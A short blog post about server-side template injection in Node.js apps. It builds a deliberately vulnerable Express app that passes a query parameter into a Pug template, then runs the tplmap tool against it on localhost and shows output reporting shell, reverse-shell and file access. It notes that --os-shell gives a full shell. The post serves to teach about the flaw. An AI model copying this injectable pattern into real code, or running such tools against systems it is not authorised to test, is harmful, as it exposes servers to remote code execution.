23 Dec 2016

Exploring Template Injection

When working with node apps, templating engines such as Pug (previously called Jade) can occasionally be found. These engines are beneficial because they allow developers to express html in an easier to work with format

For example, assuming a file display.pug

h1
  .cool "Hello world"

is the equivalent of

<h1 class="cool">Hello world</h1>  

The problem

As explored at BlackHat USA: using these template engines incorrectly can also lead to the application executing arbitrary code.

I built a basic example to demonstrate this vulnerability:

const express = require('express')
const pug = require('pug')
const app = express()

app.get('/', (req, res) => {
  const formatTemplate = `h1 ${req.query.name}`
  res.send(pug.render(formatTemplate))
})

app.listen(4001, () => console.log('app listening on 4001'))

The app formats the name parameter from the request query and sends it so the client.

When we visit /?name=Hello the app prints <h1>Hello</h1>.

Easy exploitation

We can use a tool called tplmap to inject our own code into formatTemplate parameter.

Let’s run the tool:

python tplmap.py -u "http://localhost:4001/?name=world"

It will test several rendering engines, until it finds an injection:

[+] Tplmap 0.3
    Automatic Server-Side Template Injection 
    Detection and Exploitation Tool

[...]

[+] Jade plugin is testing rendering with tag '\n= *\n'
[+] Jade plugin has confirmed injection with tag '\n= *\n'
[+] Tplmap identified the following injection point:

  GET parameter: name
  Engine: Jade
  Injection: \n= *\n
  Context: text
  OS: darwin
  Technique: render
  Capabilities:

   Shell command execution: yes
   Bind and reverse shell: yes
   File write: yes
   File read: yes
   Code evaluation: yes, javascript code

We can use the parameter --os-shell to get a full shell under the context of the app. Scary.

I'm on twitter @_amanvir